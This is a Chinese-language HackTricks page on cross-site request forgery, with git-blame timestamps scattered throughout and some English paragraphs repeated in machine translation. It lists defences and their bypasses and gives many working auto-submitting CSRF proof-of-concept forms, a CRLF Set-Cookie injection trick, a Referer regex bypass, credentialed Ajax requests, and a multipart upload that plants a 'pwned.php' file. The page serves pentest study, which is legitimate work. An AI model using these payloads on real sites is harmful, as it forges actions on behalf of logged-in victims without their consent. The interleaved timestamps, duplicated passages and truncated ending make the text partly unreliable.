2023-08-03 19:12:22 +00:00
# CSRF( 跨站请求伪造)
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-08-03 19:12:22 +00:00
* 你在一个**网络安全公司**工作吗? 你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组** ](https://discord.gg/hRep4RUj7f ) 或 [**Telegram群组** ](https://t.me/peass ) 或 **关注**我在**Twitter**上的[** 🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **提交PR来分享你的黑客技巧。**
2022-04-28 16:01:33 +00:00
< / details >
2023-07-31 15:59:11 +00:00
< figure > < img src = "../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-10-27 23:22:18 +00:00
2023-08-03 19:12:22 +00:00
**HackenProof是所有加密漏洞赏金的家园。**
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**即时获得奖励**\
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后, 您将获得奖励。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**在web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网! 在其兴起的日子里掌握web3安全。
2023-02-27 09:28:45 +00:00
2023-08-03 19:12:22 +00:00
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
2023-07-14 15:03:41 +00:00
2023-08-03 19:12:22 +00:00
[**在HackenProof上注册** ](https://hackenproof.com/register )开始从您的黑客行动中获利!
2023-07-14 15:03:41 +00:00
{% embed url="https://hackenproof.com/register" %}
2022-10-27 23:22:18 +00:00
2023-08-03 19:12:22 +00:00
## 什么是CSRF?
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**跨站请求伪造**( 也称为CSRF) 是一种Web安全漏洞, 允许攻击者**诱使用户执行他们不打算执行的操作**。\
2023-08-24 09:57:53 +00:00
这是通过使受害者平台上的已登录用户访问攻击者控制的网站,然后从那里**执行**恶意JS代码、发送表单或检索“图像”到**受害者账户**来实现的。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 先决条件
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
要滥用CSRF漏洞, 首先需要**找到一个相关的操作来滥用**( 更改密码或电子邮件、让受害者在社交网络上关注您、给您更多权限等) 。会话必须仅依赖于cookie或HTTP基本身份验证标头, 不能使用任何其他标头来处理会话。最后, 请求中**不应该有不可预测的参数**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
可以采取多种**对策**来避免此漏洞。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### **常见的防御措施**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
* [**SameSite cookies** ](hacking-with-cookies/#samesite ): 如果会话cookie使用此标志, 您可能无法从任意网站发送cookie。
* [**跨源资源共享** ](cors-bypass.md ): 根据您需要执行的HTTP请求类型, 您可能需要考虑受害站点的**CORS策略**。_请注意, CORS策略不会影响您只想从表单发送GET请求或POST请求而不需要读取响应的情况。_
* 要求用户输入**密码**以授权操作。
* 解析**Referrer**或**Origin**标头。如果使用正则表达式,可以通过以下方式绕过:
* http://mal.net?orig=http://example.com( 以该URL结尾)
* http://example.com.mal.net( 以该URL开头)
* **修改**Post或Get请求的**参数名称**
* 在每个会话中使用**CSRF令牌**。此令牌必须在请求中发送以确认操作。此令牌可以受到CORS的保护。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### CSRF映射
2020-07-15 15:43:14 +00:00
2023-06-06 22:57:49 +00:00
![](< .. / . gitbook / assets / image ( 112 ) . png > )
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
## 防御绕过
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 从POST到GET
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
也许您要滥用的表单准备发送**带有CSRF令牌的POST请求**,但是,您应该**检查**是否也可以发送**GET请求**, 并且在发送GET请求时**仍然验证CSRF令牌**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 缺少令牌
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
某些应用程序在令牌存在时**正确验证令牌,但如果省略了令牌,则跳过验证**。\
在这种情况下,攻击者可以**删除包含令牌的整个参数**( 而不仅仅是其值) , 以绕过验证并进行CSRF攻击。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### CSRF令牌与用户会话无关
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
某些应用程序**不验证令牌是否属于发出请求的用户会话**。相反,应用程序维护一个全局令牌池,接受出现在此池中的任何令牌。\
在这种情况下,攻击者可以使用自己的帐户登录应用程序,**获取有效令牌**, 然后将该令牌提供给受害者用户进行CSRF攻击。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 方法绕过
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
如果请求使用了“**奇怪的**”**方法**,请检查**方法覆盖功能**是否正常工作。\
2023-08-24 09:57:53 +00:00
例如,如果使用了**PUT**方法,您可以尝试使用**POST**方法并发送: _https://example.com/my/dear/api/val/num?**\_method=PUT**_
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
这也可以通过在POST请求中发送**\_method参数**或使用**标头**来实现:
2020-07-15 15:43:14 +00:00
* _X-HTTP-Method_
* _X-HTTP-Method-Override_
* _X-Method-Override_
2023-08-03 19:12:22 +00:00
### 自定义头部令牌绕过
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
如果请求中添加了一个带有令牌的自定义头部作为CSRF保护方法, 则:
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
* 在请求中测试不带自定义令牌和头部的情况。
* 在请求中测试令牌长度相同但内容不同的情况。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### CSRF令牌由Cookie验证
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
在前面的漏洞的进一步变种中, 一些应用程序将每个令牌复制到一个Cookie和一个请求参数中。或者在后端设置一个CSRF Cookie, 并在后端检查发送的CSRF令牌是否与Cookie相关联。
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
当验证后续请求时, 应用程序只需验证请求参数中提交的令牌是否与Cookie中存储的值匹配。\
在这种情况下, 如果网站包含任何允许攻击者将自己的CSRF Cookie设置为受害者的漏洞, 攻击者可以再次执行CSRF攻击。
2021-11-30 16:46:07 +00:00
2023-08-24 09:57:53 +00:00
在这种情况下, 您可以尝试加载一个伪造的图像来设置Cookie, 然后像这个例子一样发起CSRF攻击:
2021-11-30 16:46:07 +00:00
```html
< html >
2023-08-03 19:12:22 +00:00
<!-- CSRF PoC - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/my-account/change-email" method = "POST" >
< input type = "hidden" name = "email" value = "asd@asd.asd" / >
< input type = "hidden" name = "csrf" value = "tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" / >
< input type = "submit" value = "Submit request" / >
< / form >
< img src = "https://ac4e1f591f895b02c0ee1ee3001800d4.web-security-academy.net/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" onerror = "document.forms[0].submit();" / >
< / body >
2021-11-30 16:46:07 +00:00
< / html >
```
{% hint style="info" %}
2023-08-03 19:12:22 +00:00
请注意,如果**csrf令牌与会话cookie相关联, 此攻击将无效**,因为您需要将您的会话设置为受害者,因此您将攻击自己。
2021-11-30 16:46:07 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 更改Content-Type
2020-08-10 09:56:57 +00:00
2023-08-03 19:12:22 +00:00
根据[**这里**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests),为了**避免预检请求**使用**POST**方法, 这些是允许的Content-Type值:
2021-05-29 20:00:49 +00:00
* **`application/x-www-form-urlencoded`**
* **`multipart/form-data`**
* **`text/plain`**
2023-08-03 19:12:22 +00:00
然而,请注意,**服务器逻辑可能会有所不同**, 取决于使用的Content-Type, 因此您应该尝试上述提到的值以及其他值, 如**`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
2022-04-22 08:32:18 +00:00
2023-08-03 19:12:22 +00:00
发送JSON数据作为text/plain的示例( 来自[这里](https://brycec.me/posts/corctf\_2021\_challenges)) :
2022-04-22 08:32:18 +00:00
```html
< html >
2023-08-03 19:12:22 +00:00
< body >
< form id = "form" method = "post" action = "https://phpme.be.ax/" enctype = "text/plain" >
< input name = '{"garbageeeee":"' value = '", "yep": "yep yep yep", "url": "https://webhook/"}' >
< / form >
< script >
form.submit();
< / script >
< / body >
2022-04-22 08:32:18 +00:00
< / html >
```
2023-08-03 19:12:22 +00:00
### application/json预检请求绕过
2022-04-22 08:32:18 +00:00
2023-08-24 09:57:53 +00:00
正如你已经知道的, 你不能通过HTML表单发送Content-Type为`application/json`的POST请求, 如果你尝试通过`XMLHttpRequest`这样做,首先会发送一个预检请求。\
然而,你可以尝试使用`text/plain`和`application/x-www-form-urlencoded`这两种内容类型发送JSON数据, 只是为了检查后端是否独立于Content-Type使用数据。\
你可以使用`Content-Type: text/plain`设置`enctype="text/plain"`来发送一个表单。
2022-02-21 15:48:28 +00:00
2023-08-24 09:57:53 +00:00
如果服务器只接受Content-Type为"application/json"的内容类型, 你可以发送Content-Type为"text/plain; application/json"的内容而不触发预检请求。
2021-10-05 10:00:17 +00:00
2023-08-24 09:57:53 +00:00
你还可以尝试使用SWF Flash文件来绕过这个限制。更多信息请阅读[这篇文章](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### 绕过Referrer / Origin检查
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
**避免使用Referrer头**
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
一些应用程序在请求中验证Referer头是否存在, 但如果省略了该头, 则跳过验证。
2020-07-15 15:43:14 +00:00
```markup
< meta name = "referrer" content = "never" >
```
2023-08-03 19:12:22 +00:00
**正则表达式绕过**
2020-07-15 15:43:14 +00:00
2022-02-13 12:30:13 +00:00
{% content-ref url="ssrf-server-side-request-forgery/url-format-bypass.md" %}
[url-format-bypass.md ](ssrf-server-side-request-forgery/url-format-bypass.md )
{% endcontent-ref %}
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
要在Referrer将发送到参数中的URL中设置服务器的域名, 可以执行以下操作:
2021-11-30 16:46:07 +00:00
```html
< html >
2023-08-03 19:12:22 +00:00
<!-- Referrer policy needed to send the qury parameter in the referrer -->
< head > < meta name = "referrer" content = "unsafe-url" > < / head >
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form action = "https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email" method = "POST" >
< input type = "hidden" name = "email" value = "asd@asd.asd" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
// You need to set this or the domain won't appear in the query of the referer header
history.pushState("", "", "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net")
document.forms[0].submit();
< / script >
< / body >
2021-11-30 16:46:07 +00:00
< / html >
```
2023-08-03 19:12:22 +00:00
### **HEAD方法绕过**
2021-11-30 16:46:07 +00:00
2023-08-24 09:57:53 +00:00
[**这个CTF解答** ](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution )的第一部分解释了[Oak的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为将**HEAD请求处理为无响应体的GET请求** - 这是一个常见的解决方法, 不仅仅适用于Oak。与处理HEAD请求的特定处理程序不同, 它们只是**交给GET处理程序, 但应用程序会删除响应体**。
2023-02-27 09:28:45 +00:00
2023-08-24 09:57:53 +00:00
因此, 如果GET请求受限, 您可以**发送一个将被处理为GET请求的HEAD请求**。
2022-10-27 23:22:18 +00:00
2023-08-03 19:12:22 +00:00
## **利用示例**
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### **窃取CSRF令牌**
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
如果使用**CSRF令牌**作为**防御**,您可以尝试通过滥用[XSS](xss-cross-site-scripting/#xss-stealing-csrf-tokens)漏洞或[悬挂标记](dangling-markup-html-scriptless-injection/)漏洞来**窃取它**。
2020-07-15 15:43:14 +00:00
2023-08-03 19:12:22 +00:00
### **使用HTML标签进行GET请求**
2020-07-15 15:43:14 +00:00
```markup
2021-10-05 10:00:17 +00:00
< img src = "http://google.es?param=VALUE" style = "display:none" / >
2020-07-15 15:43:14 +00:00
< h1 > 404 - Page not found< / h1 >
The URL you are requesting is no longer available
```
2023-08-03 19:12:22 +00:00
其他可以用于自动发送GET请求的HTML5标签有:
2021-06-04 23:12:46 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . gitbook / assets / image ( 530 ) . png > )
2021-06-04 23:12:46 +00:00
2023-08-03 19:12:22 +00:00
### 表单GET请求
2020-07-15 15:43:14 +00:00
```markup
< html >
2023-08-03 19:12:22 +00:00
<!-- CSRF PoC - generated by Burp Suite Professional -->
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form method = "GET" action = "https://victim.net/email/change-email" >
< input type = "hidden" name = "email" value = "some@email.com" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
2020-07-15 15:43:14 +00:00
< / html >
```
2023-08-03 19:12:22 +00:00
### 表单POST请求
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
A common method for submitting data to a web server is through a form POST request. This is typically used when a user fills out a form on a website and clicks the submit button. The form data is then sent to the server using the HTTP POST method.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
一个常见的向Web服务器提交数据的方法是通过表单POST请求。当用户在网站上填写表单并点击提交按钮时, 通常会使用这种方法。表单数据随后使用HTTP POST方法发送到服务器。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
To perform a CSRF attack, an attacker can create a malicious webpage that includes a form with hidden fields. When a user visits this webpage, their browser will automatically submit the form to the target website, without the user's knowledge or consent.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
为了进行CSRF攻击, 攻击者可以创建一个恶意网页, 其中包含一个带有隐藏字段的表单。当用户访问此网页时, 他们的浏览器将自动将表单提交到目标网站, 而用户并不知情或同意。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
The hidden fields can contain values that the attacker wants to submit to the target website, such as changing the user's password or making a purchase on their behalf. Since the request is coming from the user's browser, the target website may mistakenly believe that the request is legitimate and process it accordingly.
隐藏字段可以包含攻击者想要提交到目标网站的值,例如更改用户的密码或代表用户进行购买。由于请求来自用户的浏览器,目标网站可能会错误地认为请求是合法的,并相应地处理它。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
To protect against CSRF attacks, web developers can implement measures such as using anti-CSRF tokens, which are unique tokens generated for each user session. These tokens are included in the form and are validated by the server to ensure that the request is legitimate.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
为了防止CSRF攻击, Web开发人员可以采取措施, 例如使用反CSRF令牌, 这些令牌是为每个用户会话生成的唯一令牌。这些令牌包含在表单中, 并由服务器验证, 以确保请求是合法的。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
By validating the anti-CSRF token, the server can verify that the request originated from the same website and not from a malicious source. This helps prevent CSRF attacks by ensuring that only requests from trusted sources are processed.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
通过验证反CSRF令牌, 服务器可以验证请求是否来自同一网站, 而不是来自恶意来源。这有助于通过确保仅处理来自可信源的请求来防止CSRF攻击。
2020-07-15 15:43:14 +00:00
```markup
2023-08-03 19:12:22 +00:00
< html >
< body >
< script > history . pushState ( '' , '' , '/' ) < / script >
< form method = "POST" action = "https://victim.net/email/change-email" id = "csrfform" >
< input type = "hidden" name = "email" value = "some@email.com" autofocus onfocus = "csrfform.submit();" / > <!-- Way 1 to autosubmit -->
< input type = "submit" value = "Submit request" / >
< img src = x onerror = "csrfform.submit();" / > <!-- Way 2 to autosubmit -->
< / form >
< script >
document.forms[0].submit(); //Way 3 to autosubmit
< / script >
< / body >
< / html >
```
### 通过iframe进行表单POST请求
2023-08-24 09:57:53 +00:00
In some cases, attackers can exploit Cross-Site Request Forgery (CSRF) vulnerabilities by using iframes to perform form POST requests. This technique is commonly known as "iframe-based CSRF" or "CSRF through iframes".
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
在某些情况下, 攻击者可以利用iframe来执行表单POST请求, 从而利用跨站请求伪造( CSRF) 漏洞。这种技术通常被称为“基于iframe的CSRF”或“通过iframe的CSRF”。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
Attackers can create a hidden iframe on a malicious website that loads a target website's form. The attacker then fills in the form fields with malicious data and submits the form using JavaScript. Since the iframe is hidden, the user is unaware of the malicious activity.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
攻击者可以在恶意网站上创建一个隐藏的iframe, 加载目标网站的表单。然后, 攻击者使用JavaScript填充表单字段, 并提交表单。由于iframe是隐藏的, 用户对恶意活动毫不知情。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
When the form is submitted, the browser sends the POST request to the target website, including any session cookies associated with the target website. This allows the attacker to perform actions on behalf of the user without their consent.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
当表单被提交时, 浏览器会将POST请求发送到目标网站, 并包含与目标网站相关的任何会话cookie。这使得攻击者可以在用户不知情的情况下代表用户执行操作。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
To protect against iframe-based CSRF attacks, web developers should implement measures such as:
为了防止基于iframe的CSRF攻击, Web开发人员应该采取以下措施:
- Implementing CSRF tokens: Include a unique token in each form submission and verify it on the server-side to ensure that the request is legitimate.
- 实施CSRF令牌: 在每个表单提交中包含一个唯一的令牌, 并在服务器端进行验证, 以确保请求是合法的。
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
- Implementing SameSite cookies: Set the SameSite attribute to "Strict" or "Lax" for cookies to restrict their usage in cross-site requests.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
- 实施SameSite cookie: 将SameSite属性设置为“Strict”或“Lax”, 以限制cookie在跨站请求中的使用。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
- Implementing CSRF protection frameworks: Utilize frameworks like Django's CSRF protection or OWASP's CSRFGuard to add an additional layer of security against CSRF attacks.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
- 实施CSRF保护框架: 使用像Django的CSRF保护或OWASP的CSRFGuard这样的框架, 为防止CSRF攻击增加额外的安全层。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
By implementing these measures, web developers can mitigate the risk of CSRF attacks through iframes and protect user data and privacy.
2021-06-04 23:20:57 +00:00
2023-08-24 09:57:53 +00:00
通过实施这些措施, Web开发人员可以减轻通过iframe进行的CSRF攻击的风险, 保护用户的数据和隐私。
2021-06-04 23:20:57 +00:00
```markup
2023-08-03 19:12:22 +00:00
<!--
The request is sent through the iframe withuot reloading the page
2021-06-04 23:20:57 +00:00
-->
< html >
2023-08-03 19:12:22 +00:00
< body >
< iframe style = "display:none" name = "csrfframe" > < / iframe >
< form method = "POST" action = "/change-email" id = "csrfform" target = "csrfframe" >
< input type = "hidden" name = "email" value = "some@email.com" autofocus onfocus = "csrfform.submit();" / >
< input type = "submit" value = "Submit request" / >
< / form >
< script >
document.forms[0].submit();
< / script >
< / body >
2021-06-04 23:20:57 +00:00
< / html >
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
### **Ajax POST 请求**
2023-08-24 09:57:53 +00:00
Ajax 是一种用于在后台发送 HTTP 请求的技术。通过使用 Ajax, 可以在不刷新整个页面的情况下, 向服务器发送 POST 请求并接收响应。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
在进行 CSRF 攻击时,攻击者可以利用受害者的身份发送恶意的 Ajax POST 请求。这种攻击方式被称为 CSRF( 跨站请求伪造) 。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
攻击者可以通过在恶意网站上放置一个钓鱼表单,或者通过发送包含恶意代码的电子邮件,引诱受害者点击恶意链接。当受害者在登录状态下访问恶意网站或点击恶意链接时,浏览器会自动发送包含受害者身份验证凭据的 Ajax POST 请求。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
为了防止 CSRF 攻击,开发人员应该实施适当的防御措施,如使用 CSRF 令牌、检查 Referer 头部等。
2020-07-15 15:43:14 +00:00
```markup
< script >
var xh;
if (window.XMLHttpRequest)
2023-08-03 19:12:22 +00:00
{// code for IE7+, Firefox, Chrome, Opera, Safari
xh=new XMLHttpRequest();
}
2020-07-15 15:43:14 +00:00
else
2023-08-03 19:12:22 +00:00
{// code for IE6, IE5
xh=new ActiveXObject("Microsoft.XMLHTTP");
}
2021-06-05 01:10:15 +00:00
xh.withCredentials = true;
2020-07-15 15:43:14 +00:00
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
< / script >
2021-06-05 01:10:15 +00:00
< script >
//JQuery version
$.ajax({
2023-08-03 19:12:22 +00:00
type: "POST",
url: "https://google.com",
data: "param=value& param2=value2"
2021-06-05 01:10:15 +00:00
})
< / script >
2020-07-15 15:43:14 +00:00
```
2023-08-03 19:12:22 +00:00
### multipart/form-data POST 请求
2023-08-24 09:57:53 +00:00
When a web application uses the `multipart/form-data` encoding type for a POST request, it means that the data being sent is in a format that allows for the transmission of binary and textual data together. This encoding type is commonly used when uploading files through a web form.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
当一个 Web 应用程序使用 `multipart/form-data` 编码类型进行 POST 请求时,意味着发送的数据以一种允许二进制和文本数据一起传输的格式进行编码。这种编码类型通常在通过 Web 表单上传文件时使用。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
In a `multipart/form-data` POST request, the data is divided into multiple parts, each with its own set of headers and a unique identifier. Each part contains a specific piece of data, such as a file or a form field value.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
在 `multipart/form-data` POST 请求中,数据被分成多个部分,每个部分都有自己的头部和唯一标识符。每个部分包含特定的数据,例如文件或表单字段的值。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
The request body starts with a boundary string, which is a unique identifier that separates the different parts of the request. Each part is then preceded by a set of headers that provide information about the data being sent.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
请求体以边界字符串开始,该字符串是一个唯一标识符,用于分隔请求的不同部分。然后,每个部分前面都有一组头部,提供有关发送的数据的信息。
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
For example, a `multipart/form-data` POST request may include a part for a file upload, with the `Content-Disposition` header specifying the name of the file and the `Content-Type` header indicating the type of file being uploaded.
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
例如,`multipart/form-data` POST 请求可能包含一个用于文件上传的部分,其中 `Content-Disposition` 头部指定文件的名称,而 `Content-Type` 头部指示正在上传的文件类型。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
When performing a penetration test, it is important to understand how the web application handles `multipart/form-data` requests, as this can help identify potential vulnerabilities such as Cross-Site Request Forgery (CSRF).
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
在进行渗透测试时,了解 Web 应用程序如何处理 `multipart/form-data` 请求非常重要, 因为这可以帮助识别潜在的漏洞, 如跨站请求伪造( CSRF) 。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
By crafting malicious `multipart/form-data` requests, an attacker may be able to trick a user into unknowingly performing actions on the web application, leading to unauthorized access or data manipulation.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
通过构造恶意的 `multipart/form-data` 请求,攻击者可能会成功欺骗用户在不知情的情况下对 Web 应用程序执行操作,从而导致未经授权的访问或数据篡改。
2020-07-15 15:43:14 +00:00
```javascript
myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?> "], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
2023-08-03 19:12:22 +00:00
method: "post",
body: myFormData,
credentials: "include",
headers: {"Content-Type": "application/x-www-form-urlencoded"},
mode: "no-cors"
2020-07-15 15:43:14 +00:00
});
```
2023-08-03 19:12:22 +00:00
### multipart/form-data POST请求 v2
2023-08-24 09:57:53 +00:00
In this section, we will discuss the second version of the multipart/form-data POST request. This type of request is commonly used to upload files or submit form data that includes binary content.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### Understanding the Request
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
The multipart/form-data POST request consists of multiple parts, each containing a separate piece of data. Each part is identified by a unique boundary string, which is specified in the request headers.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### Building the Request
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
To build a multipart/form-data POST request, follow these steps:
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
1. Set the Content-Type header to "multipart/form-data" and include the boundary string.
2. Create each part of the request by specifying the Content-Disposition header, which includes the name and filename (if applicable) of the data being sent.
3. Include any additional headers required for each part, such as Content-Type for file uploads.
4. Add the data for each part, including any binary content.
5. Close the request body by adding the boundary string followed by "--" to indicate the end of the request.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### Example Request
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
Here is an example of a multipart/form-data POST request:
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
```http
POST /upload HTTP/1.1
Host: example.com
Content-Type: multipart/form-data; boundary=---------------------------1234567890
-----------------------------1234567890
Content-Disposition: form-data; name="username"
2020-07-15 15:43:14 +00:00
2023-08-24 09:57:53 +00:00
john.doe
-----------------------------1234567890
Content-Disposition: form-data; name="profile_picture"; filename="picture.jpg"
Content-Type: image/jpeg
[Binary image data]
-----------------------------1234567890--
```
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
In this example, the request includes two parts: one for the "username" field and another for the "profile_picture" file upload.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
#### Conclusion
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
The multipart/form-data POST request is a versatile method for sending data that includes binary content. Understanding how to build and manipulate this type of request is essential for performing various web application attacks, such as CSRF (Cross-Site Request Forgery).
2020-07-15 15:43:14 +00:00
```javascript
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
2021-06-05 01:10:15 +00:00
xhr.withCredentials = true;
2020-07-15 15:43:14 +00:00
xhr.open("POST", url, true);
// MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";
//xhr.send(body);
xhr.sendAsBinary(body);
```
2023-08-24 09:57:53 +00:00
### 在 iframe 中发送表单 POST 请求
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
When an HTML form is submitted, the browser sends a POST request to the server. This can be done within an iframe as well. However, due to the same-origin policy, the browser will only allow the form to be submitted if the form and the iframe have the same origin.
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
当 HTML 表单被提交时,浏览器会向服务器发送一个 POST 请求。这也可以在 iframe 中完成。然而,由于同源策略的限制,浏览器只允许在表单和 iframe 具有相同源的情况下提交表单。
2023-08-03 19:12:22 +00:00
2023-08-24 09:57:53 +00:00
